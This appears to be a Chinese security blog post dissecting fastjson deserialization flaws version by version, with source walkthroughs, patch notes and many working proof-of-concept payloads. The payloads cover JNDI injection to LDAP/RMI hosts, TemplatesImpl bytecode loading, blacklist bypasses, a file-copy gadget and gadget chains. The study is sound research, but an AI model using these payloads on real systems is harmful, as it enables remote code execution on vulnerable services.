基础
1 2
| String jsonString = "{\"@type\":\"Student\",\"age\":0,\"cmd\":\"Calc\"}"; Object student1 = JSON.parseObject(jsonString);
|
fastjson 在反序列化的时候会去找我们在 @type
中规定的类是哪个类,然后在反序列化的时候会自动调用这些 setter 与 getter 方法的调用,注意!并不是所有的 setter 和 getter 方法。
具体堆栈如下。
1 2 3 4 5 6 7 8 9 10
| build:328, JavaBeanInfo (com.alibaba.fastjson.util) createJavaBeanDeserializer:526, ParserConfig (com.alibaba.fastjson.parser) getDeserializer:461, ParserConfig (com.alibaba.fastjson.parser) getDeserializer:312, ParserConfig (com.alibaba.fastjson.parser) parseObject:367, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:128, JSON (com.alibaba.fastjson) parseObject:201, JSON (com.alibaba.fastjson)
|
这里说两个关键的点。
parseObject:367, DefaultJSONParser 这个地方。这个 JSON.DEFAULT_TYPE_KEY 值是 @type 。然后key这里如果是 @type 的话会对里面的类进行实例化。
1 2 3
| if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { String typeName = lexer.scanSymbol(symbolTable, '"'); Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
|
然后是 JavaBeanInfo.build() 这个地方。这三个循环分别是获取seter 获取 field ,获取 getter。但是getter对返回值有一些严苛的要求。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| for (Method method : methods) { int ordinal = 0, serialzeFeatures = 0, parserFeatures = 0; String methodName = method.getName(); if (methodName.length() < 4) { continue; }
if (Modifier.isStatic(method.getModifiers())) { continue; }
if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) { continue; } Class<?>[] types = method.getParameterTypes(); if (types.length != 1) { continue; } ........................... if (!methodName.startsWith("set")) { continue; } .................... }
for (Field field : clazz.getFields()) { }
for (Method method : clazz.getMethods()) { String methodName = method.getName(); if (methodName.length() < 4) { continue; }
if (Modifier.isStatic(method.getModifiers())) { continue; }
if (methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))) { if (method.getParameterTypes().length != 0) { continue; }
if (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType() ) { String propertyName; ....... }
|
直接说结论,Fastjson会对满足下列要求的setter/getter方法进行调用:
满足条件的setter:
- 非静态函数
- 返回类型为void或当前类
- 参数个数为1个
满足条件的getter:
- 非静态方法
- 无参数
- 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
1.2.24
TemplatesImplPoc
就是fastjson会将类型为byte的自动base64解码。
这里我们在反序列化的时候的参数需要加上 Object.class
与 Feature.SupportNonPublicField
,因为 getOutputProperties()
方法是私有的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.codec.binary.Base64; import org.apache.commons.io.IOUtils;
import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException;
public class TemplatesImplPoc { public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); }
public static void main(String args[]){ try { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator"); final String evilClassPath = "D:\\classes\\Test.class"; String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'Drunkbaby','_tfactory':{ },\"_outputProperties\":{ },"; System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } }
|
JdbcRowSetImpl
这个类也是一个很常见的sink点了。
connet函数可以触发jndi注入。然后调用它的有getDatabaseMetaData和setAutoCommit方法。getDatabaseMetaData返回值不满足要求所以这个地方只能用setAutoCommit。
1 2 3 4 5 6 7 8 9 10
| import com.alibaba.fastjson.JSON;
public class JdbcRowSetImplRmiExp { public static void main(String[] args) { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\", \"autoCommit\":true}"; JSON.parse(payload); } }
|
修复
1 2 3
| if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { String typeName = lexer.scanSymbol(symbolTable, '"'); Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
|
parseObject:367, DefaultJSONParser 这个地方。loadClass在ParserConfig.checkAutoType中实现。
1 2 3
| if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { String typeName = lexer.scanSymbol(symbolTable, '"'); Class<?> clazz = config.checkAutoType(typeName, null);
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null) { return null; } final String className = typeName.replace('$', '.'); if (autoTypeSupport || expectClass != null) { for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, defaultClassLoader); } } for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } } Class<?> clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null) { clazz = deserializers.findClass(typeName); } if (clazz != null) { if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } if (!autoTypeSupport) { for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } ............................ }
|
通过对黑名单的研究,我们可以找到具体版本有哪些利用链可以利用。
从1.2.42版本开始,Fastjson把原本明文形式的黑名单改成了哈希过的黑名单,目的就是为了防止安全研究者对其进行研究,提高漏洞利用门槛,但是有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist
黑名单绕过
1.2.45
因为只是对黑名单的绕过。就写到前面了。
1 2 3 4 5
| <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.4.0</version> </dependency>
|
1 2 3 4
| ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload ="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," + "\"properties\":{\"data_source\":\"ldap://localhost:1234/Exploit\"}}"; JSON.parse(payload);
|
这个类JndiDataSourceFactory 的 setProperties 有jndi的注入点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public void setProperties(Properties properties) { try { InitialContext initCtx = null; Properties env = getEnvProperties(properties); if (env == null) { initCtx = new InitialContext(); } else { initCtx = new InitialContext(env); }
if (properties.containsKey("initial_context") && properties.containsKey("data_source")) { Context ctx = (Context)initCtx.lookup(properties.getProperty("initial_context")); this.dataSource = (DataSource)ctx.lookup(properties.getProperty("data_source")); } else if (properties.containsKey("data_source")) { this.dataSource = (DataSource)initCtx.lookup(properties.getProperty("data_source")); }
} catch (NamingException e) { throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e); } }
|
1.2.62
目标服务端需要存在xbean-reflect包;xbean-reflect 包的版本不限,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.62</version> </dependency> <dependency> <groupId>org.apache.xbean</groupId> <artifactId>xbean-reflect</artifactId> <version>4.18</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
1 2 3 4
| ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String poc = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\"," + " \"jndiNames\":[\"ldap://localhost:1234/ExportObject\"], \"tm\": {\"$ref\":\"$.tm\"}}"; JSON.parse(poc);
|
1.2.66
- org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
- br.com.anteros.dbcp.AnterosDBCPConfig 类需要 Anteros-Core和 Anteros-DBCP 包;
- com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;
1 2 3 4 5 6 7
| ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String poc = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://localhost:1234/ExportObject\"], \"Realms\":[\"\"]}";
JSON.parse(poc);
|
1.2.67
- org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;
- org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖;
1 2 3 4
| ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String poc = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\"," + " \"jndiNames\":[\"ldap://localhost:1234/ExportObject\"], \"tm\": {\"$ref\":\"$.tm\"}}"; JSON.parse(poc);
|
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}
有关黑名单的绕过还有很多。网上挺多的,这里就不多说了。
1.2.41(L;绕过)
前面加一个 L,结尾加上 ;
绕过
1 2 3
| ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload ="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Basic/Command/calc.exe\",\"autoCommit\":\"true\" }"; JSON.parse(payload);
|
首先这样加可以绕过黑名单。而且这样的类依旧是可以加载的。TypeUtils.loadClass 。
这样设计肯定是有原因,感觉可能是为了支持一种格式。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public static Class<?> loadClass(String className, ClassLoader classLoader) { if (className == null || className.length() == 0) { return null; }
Class<?> clazz = mappings.get(className);
if (clazz != null) { return clazz; }
if (className.charAt(0) == '[') { Class<?> componentType = loadClass(className.substring(1), classLoader); return Array.newInstance(componentType, 0).getClass(); }
if (className.startsWith("L") && className.endsWith(";")) { String newClassName = className.substring(1, className.length() - 1); return loadClass(newClassName, classLoader); }
|
修复
如果 L; 则去掉再去判断黑名单。
1 2 3 4 5 6 7 8 9 10 11 12
| public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { ................................ if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) { className = className.substring(1, className.length() - 1); } ................................ }
|
1.2.42(LL;;绕过)
它只去掉了一次,但是这个地方可以loadClass多次。去掉多个 L;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) { if(className == null || className.length() == 0){ return null; } Class<?> clazz = mappings.get(className); if(clazz != null){ return clazz; } if(className.charAt(0) == '['){ Class<?> componentType = loadClass(className.substring(1), classLoader); return Array.newInstance(componentType, 0).getClass(); } if(className.startsWith("L") && className.endsWith(";")){ String newClassName = className.substring(1, className.length() - 1); return loadClass(newClassName, classLoader); }
|
1 2 3
| ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload ="{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }"; JSON.parse(payload);
|
修改的是直接对类名以”LL”开头的直接报错:
1.2.43([绕过)
但是以 ”[“
开头的类名自然能成功绕过上述校验以及黑名单过滤。
1 2 3
| ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload ="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://localhost:1234/Exploit\", \"autoCommit\":true}"; JSON.parse(payload);
|
1.2.47(Class缓存绕过)
- 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
- 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;
又是一个新的思路
1 2 3 4
| String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," + "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"ldap://127.0.0.1:1389/Basic/Command/calc.exe\",\"autoCommit\":true}}"; JSON.parse(payload);
|
MiscCodec这个类继承了ObjectDeserializer。里面也有对应loadClass。其中判断键是否为”val”,是的话再提取val键对应的值赋给objVal变量,而objVal在后面会赋值给strVal变量。然后进行对应的loadClass。
1 2 3
| if (clazz == Class.class) { return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); }
|
然后 com.sun.rowset.JdbcRowSetImpl 这个类会被放到缓存当中。
再次checkAutoType时由于在缓存中所以不会触发黑名单检测。
修复
TypeUtils.loadClass()时中,缓存开关cache默认设置为了False,
1 2 3
| public static Class<?> loadClass(String className, ClassLoader classLoader) { return loadClass(className, classLoader, false); }
|
1.2.48
本次绕过checkAutoType()
函数的关键点在于其第二个参数expectClass,可以通过构造恶意JSON数据、传入某个类作为expectClass参数再传入另一个expectClass类的子类或实现类来实现绕过checkAutoType()
函数执行恶意操作。
原理
1 2
| String poc = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"VulAutoCloseable\",\"cmd\":\"open -a Calculator\"}"; JSON.parse(poc);
|
然后这个VulAutoCloseable需要我们自己写一下。
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class VulAutoCloseable implements AutoCloseable { public VulAutoCloseable(String cmd) { try { Runtime.getRuntime().exec(cmd); } catch (Exception e) { e.printStackTrace(); } } @Override public void close() throws Exception {
} }
|
说一下这个流程比较特别的地方。第一次走到这个地方的时候。
ParserConfig.checkAutoType
1 2 3 4 5 6 7 8 9 10 11 12 13
| if (clazz == null) { clazz = TypeUtils.getClassFromMapping(typeName); } .......... if (clazz != null) { if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); }
return clazz; }
|
此时typeName 是 java.lang.AutoCloseable
而且 TypeUtils.getClassFromMapping(typeName)是可以获取到类的。然后直接返回class。
然后回到DefaultJSONParser.parseObject。找对应的Deserializer。然后deserialze。由于上面返回的class不是空。所以一番流程后我们最后的expectClass也是有值的。
1 2 3 4 5 6 7 8 9 10 11
| ObjectDeserializer deserializer = config.getDeserializer(clazz); Class deserClass = deserializer.getClass(); if (JavaBeanDeserializer.class.isAssignableFrom(deserClass) && deserClass != JavaBeanDeserializer.class && deserClass != ThrowableDeserializer.class) { this.setResolveStatus(NONE); } else if (deserializer instanceof MapDeserializer) { this.setResolveStatus(NONE); } Object obj = deserializer.deserialze(this, clazz, fieldName); return obj;
|
这个Deserializer是 JavaBeanDeserializer 。中间在checkAutoType中进行一些检查。最后在deserializer.deserialze中进行实例化。
checkAutoType
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) { boolean cacheClass = autoTypeSupport || jsonType; clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass); }
if (clazz != null) { if (jsonType) { TypeUtils.addMapping(typeName, clazz); return clazz; }
if (ClassLoader.class.isAssignableFrom(clazz) || javax.sql.DataSource.class.isAssignableFrom(clazz) || javax.sql.RowSet.class.isAssignableFrom(clazz) ) { throw new JSONException("autoType is not support. " + typeName); }
if (expectClass != null) { if (expectClass.isAssignableFrom(clazz)) { TypeUtils.addMapping(typeName, clazz); return clazz;
|
1 2 3 4 5 6 7
| if (deserializer == null) { Class<?> expectClass = TypeUtils.getClass(type); userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures()); deserializer = parser.getConfig().getDeserializer(userType); }
Object typedObject = deserializer.deserialze(parser, userType, fieldName);
|
利用
复制文件
1 2 3
| String poc = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\", " + "\"tempPath\":\"C:/Windows/win.ini\", \"targetPath\":\"E:/flag.txt\"}"; JSON.parse(poc);
|
FastJson与原生反序列化
https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson与原生反序列化/
https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson与原生反序列化-二/
在构建一些链子的时候用到的它的JSONArray toString可以触发任意的get方法。
FastJson<=1.2.48
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package ysoserial.MyGadget; import com.alibaba.fastjson.JSONArray; import ysoserial.payloads.util.Gadgets; import javax.management.BadAttributeValueExpException; import static ysoserial.payloads.util.Tool.*; public class FastJsontoString { public static void main(String[] args) throws Exception{ Object templatesImpl = Gadgets.createTemplatesImpl("calc"); JSONArray jsonArray= new JSONArray(); jsonArray.add(templatesImpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); setFieldValue(badAttributeValueExpException,"val",jsonArray); byte[] serialize = serialize(badAttributeValueExpException); deserialize(serialize); } }
|
FastJson从1.2.49开始,我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法,同时在SecureObjectInputStream
类当中重写了resolveClass
,通过调用了checkAutoType
方法做类的检查:
简单绕过即可。
BadAttributeValueExpException 反序列化会触发toString。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public class FastJsonAll { public static void main(String[] args) throws Exception{ Object templates = Gadgets.createTemplatesImpl("calc"); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setFieldValue(bd,"val",jsonArray); HashMap hashMap = new HashMap(); hashMap.put(templates,bd); byte[] serialize = serialize(hashMap); deserialize(serialize); } }
|